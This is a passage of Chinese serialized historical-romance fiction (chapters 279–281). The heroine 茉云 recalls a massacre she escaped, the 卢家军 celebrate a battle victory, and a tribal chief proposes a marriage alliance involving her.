夜幕低垂，围渡城外的山脉被暮色笼罩。茉云、石腾、石霄和老管家等人来到了山下溪边，按照围渡城的习俗，准备祭奠一下石腾的父母，烧些纸元宝，缅怀先人。
老管家低下着头，将纸元宝轻轻撒向火中，渐渐地，火光映照在他的脸上，泪水悄然滑落。石霄忍不住红了眼眶，石腾眼中却也闪烁着一丝哀伤，只有茉云的眼神依旧冷静而坚定。
她知道，这不仅是石家对逝去亲人的怀念，也是围渡城在历史长河中的一次转折，而自己终于也放下了，压在心中多年的大石。祭火的香气弥漫，伴随着火光，过去的岁月与血腥逐渐被抹去，留下的只是新的希望与责任。
火焰燃烧之时，茉云转身看向石腾：“以后要跟你爷爷一样，做个好城主。”
然而，石腾却抬起头，忽然问道：“三叔为何不能做城主？茉云姨，我要跟你一样去浪迹天涯。”
茉云未加任何思索的，挥手朝着石腾的头上就是一下，打得石腾一个踉跄，石霄见状立刻将石腾护在身后，眉头紧蹙，眼神中充满了不满德瞪向茉云。
沧海站在远处，看着这一幕，不禁轻轻吸了口气，人毕竟是别国的少城主。就在此时，正啸的身影出现了，带着他惯有的沉稳而威武的气息走来，他轻轻摇头，示意沧海等人无需行礼，然后眼神轻轻掠过众人，望向茉云。
茉云正在激愤之时，并没有感受到正啸的气息已靠近，只是瞪着石腾，忿然骂道：“浪什么浪？你爹娘当年拼死将你送出，老娘才你现在这般大，就背着那个破竹篓带你跳了天堑河，九死一生。哦，现在终于回来了，围渡城你又不管了？”
石腾则摸着头撅起嘴巴说道：“三叔为什么不能做城主？”
茉云指着石霄更是气不打一处来的骂道：“他能做城主？石镗杀了他爹，杀了他哥，将满城百姓皆置于水深火热之中，他还在日日谈效忠，就给老城主守灵的狗见到石镗都会狂吠几声，他连那狗都不如，他能做城主？”
石霄顿时亦说不出话来，老管家则擦着泪又被逗笑了。
茉云的话语如同一阵雷鸣炸响，石腾他低下头，心里却仍然充满了困惑与无奈：“可是茉云姨，你没教过我如何做城主，我能不能做好，我不知道。”
“我也不会，我怎么教你？但你肯定能做好。”
“你如何知道？”
“因为这世上本没有什么好不好，都是因为有比较。你前面是石镗，要做个比他更遭的城主，那才着实不容易，你不用有任何压力！”茉云大手一挥的说道。
石腾瞬间被她的话逗笑，点点头，觉得茉云所说也好似有理。
茉云深吸一口气，看向石腾语重心长地说道：“哎，我当年也太小，我身边长大的孩子多多少少都有些歪，但是我告诉你，人活着都有自己的使命。你的使命，就是做一个好城主。什么浪迹天涯，人活着就有责任，他不能虚生浪死！”
正啸站在一旁，看着茉云那一本正经跟人讲理的样子，眼中闪过一丝无语。
执礼在他身旁则拼命忍着笑，莫虚生浪死这四字是正啸当年教育方茉云的话，方茉云当年的回答是，我就是要拼命浪。还给自己取了个暗名叫做狂浪，如今方茉云居然用这四个字来教育别人了。
石腾终于抬目看向了围渡城，笃定地点了点头，眼中那份迟疑亦逐渐散去。
随着火焰的渐渐熄灭，他们恭敬地起身离开。茉云也随之转身下山，才突然发现正啸正站在那里。石霄等人也愣了一下，随即恭敬地行礼，正啸温和地点了点头。
随即，他转向沧海，下令道：“你带队回主营，我带她回去便是。”
沧海点了点头，随即带队下山，消失在了夜色中。茉云跟他们道别之后走来，看见只剩正啸一人端坐于马上，茉云望向远去的沧海等人，无语的心想道，你倒是也给我留匹马啊！
还未等她多想，正啸向她伸出了手，茉云还没缓过神，自己就坐到了他身前的马鞍上。马儿便开始步伐稳健地向前缓缓走去，茉云眼中闪过一丝无奈，但她也只能乖乖坐在正啸身前。
他们穿行在围渡城的街道上，万家灯火在夜色中若隐若现，散发着渐渐温暖的光芒。
茉云望着这一切，轻轻吸了一口气，低声说道：“围渡城，曾经真是个好地方，有山有水，物产丰富，还有个爱民如子的好城主……”
她的话语中带着满满的怀念，但话未说完，便停了下来，她知道正啸向来并不喜欢聊天，她轻轻抬头，凝视着浩瀚的星空。
正啸却突然低头，目光温和地落在茉云身上，问道：“昔日为何没留在此处，是否因为正逢城中事变？”
茉云深深吸了一口气，微微点头，眼中闪过一抹忧伤。
正啸握紧了缰绳，轻轻问道：“当年老城主是请你吃了好吃的，还是赠了你什么食物？”
茉云闻言愣了一下，嘴角忍不住勾起一抹笑意，确实如此，自己的仇家那是千奇百怪，但是恩人大抵都是赐了自己一口吃的，她想着想着……目光中浮现出一丝遥远的回忆。
“石家待我最大的恩惠，便是曾给了我希望。十几岁之时，为了躲避仇家的追杀，我们来到了西南关外，举目无亲，连方言都听不懂。戈壁滩上一片荒芜，十里不见人烟。那时年纪尚小，我嘴上安慰青岚和我哥他们说，前方就有城镇，但其实我自己都不知道，我们究竟会倒在哪里。”
茉云的语气中都是无奈和心酸，好似幼时那些颠沛流离的记忆从未真正消散。
“后来我们到了部落之地，还好有部落招募射手，他们以为我是男孩，看我们三男一女，我又有些身手，就收留了我们。部落本是个靠本事吃饭之地，竞争非常残酷，部落之间为了争夺肥美之地，轻易就会拔箭射穿相邻部落中人，哪怕是幼时还曾经一起玩耍过的伙伴，看到这种残酷，我当日还只是个孩子，心中极为震撼。”
正啸静静地听着，他心中自然知道，她如果不是曾经历过极其艰难的时光，不会有今日的坚毅和不屈。而说到此，茉云顿了顿，抬目望向远处的石家。
“直到有一天，我误打误撞来到了围渡城，才发现世上还有这等好的地方。城主待人亲切，爱民如子，城中的人们和睦相处，团结友爱。而我很幸运，在街上遇到了老城主和少城主，他们当时正在带着小孙儿方腾在街上游玩。”
茉云的目光渐渐柔和，眼前的景象仿佛被时光定格在她的记忆里。她又轻轻地望向街道的市集。
“我走过去，激动地跟他们说了一通，夹杂南境话和西南方言，老城主愣住了，盯着我看了好一会儿，但他那温和而略
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带沧桑的笑容，我至今都记得。少城主懂南境话，问我是不是南境的难民，我说是的，我说我还有两个哥哥和一个姐妹，能不能来围渡城安身？我说我们一定安分守己，做个好人，我还是有些身手，能保护好人。”
说到此，茉云眼中闪过一丝微弱的光芒，仿佛回到了那个满是希望的日子。
“老城主和少城主都乐了，说当然可以。我高兴差点没手舞足蹈，立刻说，那我回去叫我哥哥和青岚过来。老城主见我饥肠辘辘，还请我去他家吃了饭，我就这般无理的大快朵颐了一番，离开之时，老城主还给了我一个信物，让我回城去找他，他答应给我们寻间屋子，还分我块田地。那一刻，我忽然觉得自己终于能拥有一个安稳的家，你不知道那几日我有多开心……”
茉云顿时停下，似乎沉浸在回忆的漩涡里，目光却在一瞬间忽然变得阴冷。
“当我再到围渡城之时，已是夜里，我按赖不住心中激动，晚上我就准备靠在石家门口的屋檐下，待天一亮，门一开，我就可以进去找老城主了。但半夜，石家却传来了惨叫。那一刻，我翻墙进入了石家，眼前的场景让我几乎不能相信——石镗杀了老城主，他的眼神我至今记得，好似毒蛇一般。少城主和少城主夫人不顾一切地保护自己的孩子，可那些明晃晃的刀……”
正啸听着，眼中都是复杂的情绪，他紧紧握住缰绳，内心不禁为她的感到心痛，自己少时也见过惨绝人寰的屠戮，多少个日夜那都是噩梦般的记忆。
“少城主……倒下时看见了假山后的我，他用尽最后的力气……告诉我往前走，有个狗洞……”
茉云说到此不禁心中叹息，少城主是何等温润善良之人，弥留之际用尽最后一丝气息，让一个只有一面之缘的女孩，赶快逃命……
“我爬出狗洞之时惊魂未定，却在巷角看见了抱着一个竹篓全身都在颤抖的老管家，我一眼就认出竹篓里睡着的是当日街上老城主和少城主带着的那个小孩！我也不知道当时哪来的勇气，背起了竹篓就跑，而石镗那畜生带着一群人追了上来，他不肯放过还只有五岁的石腾，要赶尽杀绝！”
茉云眼中的怒火和恨意顷刻又浮现，声音也变得沉重而不屈。
“最后他将我们逼到了天堑河边，前方是奔腾万里的河水，后面是明晃晃的尖刀，我背着石腾跳下了河，老管家亦追随而来，我们顷刻就消失在滔滔河水中，不知道是不是真的是石家祖先的庇佑……”
这一段被尘封的往事，在她的心中如烙印一般，至今还记得当时在水中，那窒息而绝望的感觉。自己在前一刻还在期盼着，经历了那么多苦痛，美好而安定的生活终于来了，自己也在庆幸着，看尽世态炎凉受尽人情淡薄之时，这世上还有好人愿意救自己……
可这一切转瞬即逝，坎坷好似就是不愿放过自己，好人善人都走了，死在这些人世最罪恶的灵魂手上，那一刻自己真是叫天天不应，叫地地不灵，只有满腔的怨愤和那崩腾的河水一起将自己淹没。
此时正啸松开握住缰绳的右手，用力将茉云抱入怀中，俯身轻轻吻了一下她的额头，茉云亦伸手紧紧抓紧了正啸的衣襟，将头靠到他的颈项，深深吸了口气闭上了眼睛，不知道为何眼眶有些微热，在他安稳的怀中，将这一切说与他听，说着说着，忽然轻松了……
279.身旁
正啸带着茉云回到了主营，抬目看见元帅的帐内还灯火通明，元帅应该是等他们归营。
他们走入主营之时，才发现营帐内气氛既热烈。一群熟悉的面孔正围坐在元帅身边，左侧坐着包括漕帮少帮主曹旷和他一众身形结实，臂膀粗壮的属下。
另一边坐着南容各大武林门派的少侠们，他们见到正啸的到来，马上齐齐起身，满脸崇敬，恭敬地抱拳齐声道：“正啸师兄。”
元帅见状，还未等正啸回礼，就笑着大手一挥指着，说道：“啸儿，昨日正是曹旷带着漕帮的兄弟们，背着天机堂的惊天雷，横渡天堑河，然后这些南容的少侠们背着，以轻功赶至城关，为卢家军炸开了围渡城城关，才顺利取得这场大捷。咱卢家军此番要好好感谢他们。”
曹旷迅速抱拳，恭敬地回应道：“元帅，您言重了，我和少帅自幼相识，情同兄弟，不论是私下交情，还是为国出力，我漕帮都义不容辞。”
正啸微微一愣，望向曹旷，这家伙素来傲气，执礼也有些疑惑地看着曹旷，漕帮素来不和朝廷牵扯太多，曹旷和正啸虽是莫逆之交，但是两人都是刚硬之人，见面一向都是硬碰硬，直来直去，互相也没给互相几个好脸色过，今日他怎么这般殷勤，不合常理。
元帅则笑着继续说道：“啸儿，你看南容的诸位少侠们，这群小子有的幼时我还见过，没想过一晃眼的功夫，都生得这般俊朗不凡了，好！”
顿时，众多武林中的年轻人又纷纷起身，抱拳感谢元帅夸赞。每个人的眼中都透着了敬仰与佩服，毕竟，能在战场上与卢家军和正啸师兄并肩作战，都是他们心中荣光之事。
此时曹旷站起身，略显郑重地向元帅行礼，时候已不早，他准备带着一行人告辞了，众人皆知漕帮事务繁忙，元帅亦起身再次表达了谢意，并让正啸亲自送曹旷等人。
正啸走出营帐，亲自送曹旷等人，执礼亦随着正啸送他们，随即转向曹旷身边的一位年长者，忍不住笑着问道：“此番真是有劳漕帮诸位兄弟仗义出手，只是不知茉云是如何劝服漕帮少帮主前来相助的？”
那长者浅浅一笑，眼中掠过一抹无奈：“方将军来探访我家老夫人，老夫人问方将军，你如此骁勇能耐之人为何在后方运粮？方将军说夏虫不可言冰，我和他们素来意见不和，他们对我这等无权，无势，良善之人甚为苛刻，找尽了我的毛病，却对身边那些，有钱，有势，缺德无良的白眼狼甚为看重，觉得他们都是优点，为他们找尽了借口，说他们干什么都有难处，觉得他们如何重要……”
正啸和执礼都停了片刻，任谁听不出这话中深意，充满了威胁与警告。
“方将军还说，她认为重不重要，都不该要，而且这人世哪那么多重要？昔日边城说是毁于一旦，不现在照样挺好吗？”
正啸无语的吸了口气，皱眉望向曹旷，低声说道：“她说话素来狠，你下次不要受其威胁。”
曹旷则顿时愤然回怼道：“她救过我夫人的命，难道我能不受她威胁吗？我不来，她能带着这么多惊天雷过天堑河？我不来，方茉云那疯子就会放弃吗？”
他说完这话时，眼神有些不自在地瞥了瞥后面，看茉云是否跟来，会不会听见……
执礼和曹旷身边之人都忍着笑，正啸则深吸一口气，缓缓说道：“代我像老夫人致歉，还有大恩不言谢。”
他的语气虽然平稳，但透出了沉稳的气度和真诚的谢意。曹旷看着正啸亦深深吸了口气，缓缓抱拳，他和正啸自幼相识，他当然知其一生不易，能帮到他，自己也觉之好。
曹旷身旁的长者亦笑着恭敬地说道：“少帅言重了，老夫人没有半分气恼，只有敬佩，老夫人说，任谁身旁有一个为助他，能如此上天入地，踏破凌云，刀枪火海，万山难阻之人，大事何愁不成。愿卢家军所向披靡，大战凯旋！”
此言一出，漕帮人和南容武林中人都纷纷抱拳，向卢家军表达了告别之时的崇敬之心，正啸等人亦是抱拳回礼，双方礼毕之后，曹旷等人纷纷上马准备离去。
曹旷拉住缰绳之时，忽然抬目望向正啸说道：“对了，叶凌有句话托我带给你，他说祝君好运，我也想跟你说，愿你保重。”
说完曹旷嘴角微扬，挑眉望向正啸，眼中都是好友间的奚落，似乎在调侃他品味竟如此清奇，正啸压根懒得搭理他，曹旷笑着带领众人策马而去。
正啸转身之时，深深吸了口气，在这一刻自己更加确信，如何都不可能将她从这片战火中抽离，因为她，一直坚定的站在自己身旁，从未退缩过。
当正啸走回营帐之时，听见元帅正在宽慰沧海，语气中带着深深的赏识与关切，说道：“沧海啊，你自请军令状攻打围渡城，老夫深知你的忠诚与勇气，少帅他不允，是有他的考量，并非不信任你之能耐。”
沧海随即抬起头，马上恭敬而坦率地说道：“元帅，我知少帅不想我背负这份压力和罪责。”
沧海的话语中带着他对正啸深深的信任，元帅听后，轻轻地摸着胡须点点头，对沧海的忠诚与坦荡倍感欣慰。他们这些年轻的将军，都是一路跟随正啸之人，与他相互扶持，同心同德。
然而此时，茉云闻言，语气淡然却不失威严的说道：“沧海哥，你自请攻打围渡城实为不妥，属实是置卢正啸于两难，不派你去，众人会认为他不信任手下，军功独占；派你去，日后众人会说他让你背锅。”
众人不禁愣了一瞬，目光齐齐转向茉云，她素来敬重沧海，未曾料到她会这般跟沧海说。但是元帅身边的东山，不得不佩服看向她，她话语间带着深刻的洞察，且毫不迟疑地一语道破，坦荡又直率。
沧海沉默片刻，他心中明了茉云所说有理，自己确实考虑欠妥。
茉云语气沉稳而冷静地继续说道：“而且元帅身旁有震北，卢正啸身旁有你，任何时候，这都是最稳妥之安排，切莫在任何时候冲动行事，不然他身旁便无你可依仗。”
沧海看向深吸一口气，他也明白了茉云的良苦用心，看向她点点头。
元帅看着茉云，心中不禁觉得熟悉，他恍若看见了自己年轻时，卢老太君的影子，无时不刻都在为卢家军着想，时刻保持冷静睿智……
正啸轻轻坐下并未多言，但目光顷刻间温和了几分，执礼紧随其后，轻轻一笑，心中不禁想到老太君说的话——方茉云任何时刻，都会是正啸身边最清醒的存在。
而就在营帐内的氛围一下变得凝重之时,茉云突然话锋一转，笑着说道：“所以沧海哥，你一定要记住，日后军中有这需要垫背之事，如何轮到你来干，找威行啊，对吧？”
顿时众人都抬目望了过来，茉云说话时眉眼弯起，眼中带着调侃，手指轻轻点了点桌子。
“以后这事甲乙丙丁一次排开，甲字号威行，之后还有润吉，雄山对吧，再往下排还有罗虎，最后还有鹿里，何时轮到你呢？你看人下棋，谁最开始就动，最有实力的将军啊？”
她的话一出口，威行瞬间不满地喊道：“什么叫做我最开始，我……”
可还没有等他说完，一贯沉默的罗虎愤然起身，愤愤不平地打断道：“为什么鹿里在我后面？”
他几乎是喊出来的，此言一出，众人都忍不住哄堂大笑，气氛顿时轻松了不少。
茉云则笑着，一脸理所当然地解释道：“师兄，你两虽实力相当，但是你都
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结婚生子了，鹿里将军还未大婚啊！”
鹿里马上一脸觉得极为有理地笑着说道：“茉云说的话，就是有理。”
众人更是笑得开心，围渡城大捷后，诸将心情都不错，被茉云这么一闹，营中更是热闹了。元帅也笑得不行，脸上略显沧桑的皱纹也在笑容中越显温和，就连魏副帅也被这热闹的氛围带动了。
罗虎则继续不满地冲鹿里吼道：“老太君都说了，我只生一个儿子不够，还得生个孩子，保不齐要过继给师兄，他没空生。”
卢帅顿时接过话来，嘴角勾起一抹笑意，说道：“他什么没空生，他是没人给他生，茉云，这事你考虑考虑。”
茉云正在喝茶，闻言顿时，“扑”的一下差点把水喷了出来，一脸惶恐地说：“那个时候不早了，我要不先回中州了。”
顿时，营帐中笑成了一团，元帅则大手一挥，安抚她道：“不用紧张，我们卢家难道还会强买强卖，这不跟你商量吗？”
就在此时，白神医正好被请进了营帐，他笑容温和地说道：“元帅，那你可得先叮嘱方茉云好好爱惜身体，如此炎炎酷暑之日，她还紧握着这杯暖茶。”
茉云立刻松开了抱紧茶杯的手，抬头望向白神医，回应道：“我好得很。”
尽管她语气中带着几分轻松，但那微微泛白的唇角却透露出她的疲惫。
白神医无奈地望向茉云，摇了摇头说道：“难怪我夫人信中说，不知你最近为何迷上游泳，原来你是水中练龟吸之法，为背那火药横渡天堑河做准备，你也属实莽撞！此刻，你还不去好好休息！”
元帅见状，马上起身道：“时间不早了，大家都早些休息。这几日要整军休整，借围渡城这块宝地，以全军最好的面貌迎接西南会盟，争取早日达成如南边一样的共抗峑戎的联盟。”
众人纷纷起身，抱拳回应：“是！”
茉云走回自己的营帐，白神医亦带着不言前来为她探脉，眉头紧锁，长长地叹了口气。
茉云看到他这个样子，忍不住笑了：“白叔，人是不是应该乐观一点？你也不像终日唉声叹气的人！”
白神医依旧皱着眉，看向她的眼神充满了无奈，他放下手，深深地叹了口气，说道：“乐观开朗和不将自己当回事是两码事，你也应该感觉到了，自己日渐怕冷吧。”
茉云听后长叹一口气，带着哀求的口气说道：“您不会是又开出那等极其苦的药给我喝吧？”
就在这时，正啸也走进了营帐，目光落在茉云身上，温和却带着几分忧虑。他走过来，看向白神医说道：“除了喝药，还有其他办法吗？”
白神医沉默片刻，看向正啸，自然不解他为何这么问。
“她回了中州，估计也没人能让她按时吃药。”正啸带着几分无奈的说。
茉云被正啸这样一说，顿时凑过来，像小鸡啄米一样点头。
“白叔，可有其他法子？”正啸边说边无语地轻轻推开她头，嘴角却带着一丝无奈的宠溺。
白神医愣了一下，看着他们两人这不自觉地表现出的亲近，心中微微笑了，眼神柔和的说道：“好，我想想其他办法。”
“师傅，其实我有法子！”不言一脸胸有成竹的看向茉云说道。
众人自然都抬目望向不言，要知道他的口气是如此笃定。
“补阳就好了！”不言瞬间眼中闪过一丝调侃的笑意说道，“方茉云，少帅是极阳之体，弃之可惜，就看你敢用否！”
茉云顿时就起身了瞪向他，不言一溜烟就飞窜出了营帐，茉云顷刻就追了出去。
白神医倒是乐了摸着胡须说道:“倒也是一个值得一试之法！”
280.雷霆
夜幕深沉之时，军营在一片静谧中沉入梦境，唯有风和巡逻士兵穿梭在营帐之间，茉云回到营帐时，已是疲惫不堪，甚至连外袍都没来得及脱下，便直接倒在床上，沉沉睡去。
不知过了多久，她忽然被一丝轻微的动静惊醒。她下意识地睁开双眼，微微侧过头，就见正啸不知何时已经走进了她的营帐。他并没有言语，而是轻轻拿起长椅放在了她床边，然后整个人靠在椅背上，闭目养神。
茉云愣了一瞬，意识还有些混沌，带着刚从梦境中脱离的朦胧感，语气透着几分不解：“你怎么睡这？”
正啸并未睁眼，声音低沉而平淡：“白叔说你的手脚冰冷，担心夜里风寒突发，有人守着为好。”
他的语气平淡，如同例行公事一般，但他的存在瞬间让营帐里变得温暖而安稳了些许。
茉云怔了怔，忍不住翻身坐起，说道：“这不妥吧，要是让人知道了，定然会说生死事小，失节事大，指不定如何编排我。”
正啸则缓缓睁开眼睛，眸色深邃如夜，嘴角微微扬起，直直地看着她：“既然反正人会说什么，不如我干脆干点什么。”
话音未落，茉云愣住了半晌，迅速往床里面挪了挪，眼中带着防备，却又透着一丝心虚。
正啸看着她这副模样，忍不住被逗笑了，收回视线，重新闭上了眼睛，不容质疑的说道：“躺下好好休息。”
茉云无语的憋了憋嘴巴，躺下来闭上眼睛，或许是太累了，没过多久，她便再次沉入梦乡。
夜色更深，营帐外的篝火微微燃烧，映得帐篷的影子时明时暗。正啸半夜睁开眼睛，转头望向茉云，她的睡颜终于平静了些，呼吸均匀，但仍旧蜷缩着身子，仿佛下意识地试图获取温暖，他轻轻起身，走到她身旁，给她盖上了自己的披风。
然而，就在这一瞬间，茉云蓦然睁开眼睛，眸光清澈无比，好似瞬间就没有了丝毫的睡意，这份警觉性好似深入骨髓一般，但是她定睛一看，发现是正啸，才微微松了口气，喃喃说道：“是你……”
正啸无奈地看着她，轻声问道：“这么怕我？”
茉云看着他，眼神坦然，嘴角扬起一抹轻轻的笑，说道：“怕你什么？你若在戈壁上睡过，就会知道若你一觉睡到天亮，就被野兽吃得只剩骨头了。”
说完她又安稳的继续睡过去，她的语气如此平静，却让人心里一紧。
正啸深深地望着她，她说得轻描淡写，但是她幼时便流离失所，无家可归，在最危险的环境中生存，时刻警惕，不敢放松一丝一毫，也在最险恶的灵魂间徘徊，每次稍有喘息之时，命运却总将她再一次重创。
如果可以的话，他真的想给她一个安稳的家，可是他也清楚，自己身边，险象环生，是至暗至险之地，连自己都不知道，明天会是什么处境……
翌日清晨，朝阳透过薄雾洒进军营，晨风带着西南的凉爽气息拂过营帐，旌旗猎猎，战马嘶鸣，一派井然有序的军中气象。
日上之时，一队人马疾驰而来，若辰翻身下马，神色沉稳而温和。他此行来代表朝廷出席西南会盟，共商联手共伐峑戎之事。
然而，他才刚迈入主营，便见一道身影风风火火地冲了过来——是思淼。
思淼衣袍微乱神情激动，眼中满是控诉，宛如被人狠狠坑了一把，见到若辰的瞬间，他立刻如同看到了主心骨一般，快步冲上前去，差点撞到若辰，气急败坏地说道：“若辰哥！你可算来了！你不知道方茉云有多不靠谱！”
若辰脚步一顿微微挑眉，目光顺着思淼手指的方向望去，就见不远处，茉云正悠闲地坐在案前，手里把玩着一颗红枣，见思淼告状告得如此卖力，不由得嘴角微扬，慢条斯理地将红枣放进嘴里，一脸的风轻云淡。
“若辰哥，她骗宋大人说她回南华跟师傅贺寿，还问我们是否随她一同去游历游历，我便欣然前往，谁知道她是此等阴谋，我说我不说，她怕我来跟你们告状，就不让我走了！”
茉云听着思淼的控诉，旋即乐了，带着几分玩笑的语气说道：“不是你自己说，若能亲眼见到你师兄，战火之中，率领数万雄狮冲锋陷阵的模样，此生无憾吗？我这不就帮你实现了，我还特意安排你，战火最大之时去开城门！”
思淼顿时满脸的苦痛都化为愤怒，指着茉云，吼道：“那天堑河比洪水还猛，我说我不跳，她非得让我跳！她还说放心，若我没上岸，明年今日跟我丢个媳妇进河里！我抱着岸边的石头喊，不要这么残忍，她说残忍你个头，我顶多丢个纸的进去，活的你以为我买得起？然后就一脚把我踹进了河里！我好歹是中州司马，她真是太狠了，我想回家！”
听到这里，营帐内的众人忍不住爆发出一阵哄堂大笑，谁又不知道方茉云是个狠人。
若辰笑着摇摇头，语气玩味地说道：“你这说与我听，又有何用？为何不去跟你师兄告状？”
思淼顿时一脸愤懑地控诉道：“师兄最偏心了！跟他说，他会帮我才怪，他——重色轻友！”
话音未落，主营内的将士们先是一愣，随即又是一阵哄堂大笑。
威行笑得前仰后合，眼角都快挤出了泪，一脸难以置信地指着说道：“居然有人把方茉云归类到‘色’的范畴，真是天下奇闻，笑死我 也！”
见众人笑得不行，茉云正懒洋洋地随手又拿起一颗红枣，漫不经心地丢入口中，咬了一口，目光悠然地落道正啸身上，挑眉轻笑，嘴角噙着一丝意味不明的弧度。四目相触的瞬间，正啸眼底隐隐闪过一丝无语，平静地移开视线。
若辰望向正啸之时，轻轻的笑了，正啸依旧眼神深邃，好似未曾有一丝波澜，可眼底却荡漾着温柔，像清晨微风，似有似无，却渗入心底。原来这家伙亦有这么温和的时候……
在西南的艳阳中，围渡城的四周逐渐汇聚了来自各个部落的首领和统帅，各路部落的精英纷纷走近卢家军驻扎的营地参加这次会盟。
众人远远一眼便能望见站在营前迎接的茉云，茉云在卢家军中效力的消息，早已在西南部落中流传开来——那个西南戈壁上传奇的射手云，如今成了众人仰望的将军。
她的身姿依旧挺拔、神情还是那般坚毅，身披铠甲站在那儿，一动不动，周身更发出一种威慑力，英姿如同一道风景。
而且部落中的每一位来人看到卢家军雄壮的军队，阵列严整气吞万里，都不由得露出了震撼的神情，皆感受到了来自朝廷的强大力量，不由自主地佩服和感叹。
当茉云的目光扫过每一位部落之人，她的神情依然从容和坚定，但是心中不免暗暗思虑，只要他们联手与卢家军共抗峑戎，方可打破峑戎长久对他们的渗透和利用，才能守护这片土地，带来一份真正的安宁与希望。
就在此时，西南最大部落之一的日升部落的部落主提越和统帅奇能，带着浩浩荡荡的日升部落的人马到了，随着奇能放慢马儿行进的速度，眼前的人映入他的眼帘。
他望向站在关卡上的茉云，浑身散发着与生俱来的英气，周围的空气仿佛在她的气场下都为之一凝，如此耀眼……想起往日，奇能心头复杂的情感在交织，可无论如何，她在自己心中仍然占据着无可替代的位置。
而站在茉云身边的威行亦认出了奇能，当年的西南会盟他们见过，那时日升部落主被峑戎软禁，奇能不得已参
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与了峑戎的阴谋，谋害正啸，若不是茉云以命相护，少帅和他们就都悬了……而正啸当日亦是看在茉云的颜面上，念及日升部落是被迫行事，并没有予以追究。
但他们不知道的是，奇能回到自己的部落后，愤怒于峑戎的所作所为，毫不犹豫地铲除了部落内所有勾结峑戎的势力。他还娶了老部落主提越的小女儿梨绒为妻，励精图治，重新壮大了日升部落。部落主提越没有儿子，本欲将他的位置传给大女儿申霄，但是经历了这些年，老部落主和其大女儿都认为，奇能更适合成为未来日升部落的继承人。
然而，奇能的妻子梨绒知道，在奇能心里，始终无法抹去的那个名字是——茉云。而茉云之能耐整个西南部落皆是知晓的。所以梨绒求了自己的父亲……
当日升部落主提越来到营地，元帅便亲自接见了他，毕竟他是西南大部落主，如今在西南地位和权威都是鼎盛。
而提越居然开门见山，提出了一个令在场所有人都愣住的要求——他希望，大胜之日，茉云能够回到日升部落。
若辰愣了片刻，看着提越的眼神皆是诧异，这位日升部落的首领，竟然有如此大胆的要求——他希望茉云能成为奇能未来的妻子。
提越的话音刚落，气氛瞬间变得凝重。奇能愣了一下，眼中闪过一丝疑惑，他并不知此事。
元帅瞬间眉头紧锁，严肃地回应道：“我朝从不拿人做交易，何况是我卢家军中的将军。”
而这时，茉云正引导着另一波部落主入内，走进营帐时，她敏锐地察觉到现场弥漫着一种尴尬的气氛，神情各异，但是都沉默不语。
元帅则抬手让东山说与茉云听，东山看着茉云，略微犹豫了一下，还是低声像茉云说出了方才日升部落主的提议。茉云愣了一下，回头望向奇能，只见他也正看向自己。
茉云的眼中顿时闪过一丝寒意，目光锋利地落在奇能身上，开口说道：“这是贵部出兵的条件？若是条件可以啊，只要西南各部能共扛峑戎，我又算得了什么！”
气氛变得更加沉寂，所有人都感受到茉云话中震慑力。
奇能深吸一口气，望着茉云沉默片刻，语气低沉地问道：“你可心甘情愿？”
茉云冷冷地转身，默默地走出营帐，背影显得尤为冷酷，带着不言而喻的决然和孤傲。
而此时，正啸正留在自己营中，处理军务，他素来不喜欢，也不擅长处理这些友邦事务。营帐内一片寂静，只有他笔尖在纸上摩擦的声音回荡在空气中。
威行匆匆走了进来，手里捧着来上交的军务报告，交完之后，他转身见到执礼，顿了顿，随即走上前来。
“执礼，告诉你件事。” 威行轻松地八卦道，“日升部落主一来就让元帅极度不悦!”
“何事？”执礼马上望向威行不解的问道。
“他们竟以奇能求娶茉云为条件，才肯共抗峑戎！”
正啸的笔顿时停住了，笔尖轻轻停在纸上，墨痕瞬间晕染开，千山亦愣了一刻望向正啸……正啸眼中的柔和荡然无存，骤然升起的怒气，犹如风暴透出一种几乎能割裂一切的锋利。
威行却丝毫没察觉，继续看着执礼说道：“而茉云居然说可以啊，还说为了西南抗敌大业，她不算什么。你说元帅听了能不来气吗？”
他略带戏谑地叹了口气，更未曾留意到正啸再次低下头，瞬间丢开了桌上的那张已废了的纸，眼中那股冰冷的杀气却丝毫没有消退，反而愈加浓烈。
站在身旁的千山和万莫，一动不敢动，他们自然是感受到了——正啸那股摄入到周遭的压迫感，似乎在告诉所有人，一颗深藏的雷霆，随时准备爆发。
281.一眼
茉云站在营帐之中，远远眺望着西南的辽阔天地，深深地吸了一口气，空气中夹杂着西南独有的燥热与草木清香。
凝视着那些部落首领们入营的身影，她心中不禁掠过一丝复杂的情绪。如今的西南，与她幼时已大不相同。各部势力更替，强者崛起，弱者衰落，那些曾经鼎盛一时的韦达部落等，如今皆已没落，而日升、正奇等部落却如日中天，成为了西南部落中的领袖。
她微微蹙眉，目光缓缓扫向那些随日升部落而来的日升勇士，许多人都是她幼时曾在部落中便相识的朋友。可如今再看他们，已然换了一副面孔，眼神高傲步伐矫健，看向其他部落之时，尽是居高临下的傲慢与凌厉，好似戈壁上最狠的狼王领导的狼群，正值鼎盛的时期，俯瞰其他部落的生死存亡。
茉云眼角闪过一丝叹息，真恨不得冲上去给他们一脚，让他们清醒清醒，谁又会屹立不倒？就是戈壁上最威武的狼王，亦不过是轮回交替中称霸一时，此时有多猖狂，没落时便会多凄凉。
正当她仍在感慨之际，忽然，一股强烈的威压席卷而来。茉云一愣，转头目光立刻投向军营内，原来是正啸正从军帐之中走出。
他肩背挺拔，眼神凌冽，整个人的气势犹如一柄即将出鞘的利剑，透着摄人的锋锐。他只是缓缓迈步，未曾言语，周身却自带一股不怒自威的气场，让整个军营瞬间紧绷了起来。
茉云微微皱眉，心中掠过一丝疑惑——他这是怎么了？忽然透出这等让人不敢直视的气势。她看着他一步步走向操练场，目光扫过整片军营，仅仅是一个眼神，所有正在休整的将士便立刻警醒，毫不迟疑地各自归队，迅速整军列阵。
一众将军更是纷纷从营帐中冲出，立于各自队伍之中，高声传令，开始练兵，不敢有丝毫松懈。
正啸没有多言，直接翻身上马，俯视整个操练场，眼神冷峻，威严如山。他只是屹立在那里，便让整个军营的气势骤然拔高，肃杀之意弥漫四方，好似下一刻卢家军便要直冲战场，踏碎前方敌军。
茉云看着这一幕，眸色微动，心中掠过一丝悸动。这样的他，好似自己最熟悉，他那老鹰般翱翔天际，俯瞰众生的冷峻……而此刻他眼神中还藏着滔天的怒意，早上还好好的，他这顷刻而至怒意从何而来？
正当茉云沉思之时，突然听见一声欢快的叫喊声从不远处传来，带着完全无法忽视的热情：“茉云姐！”
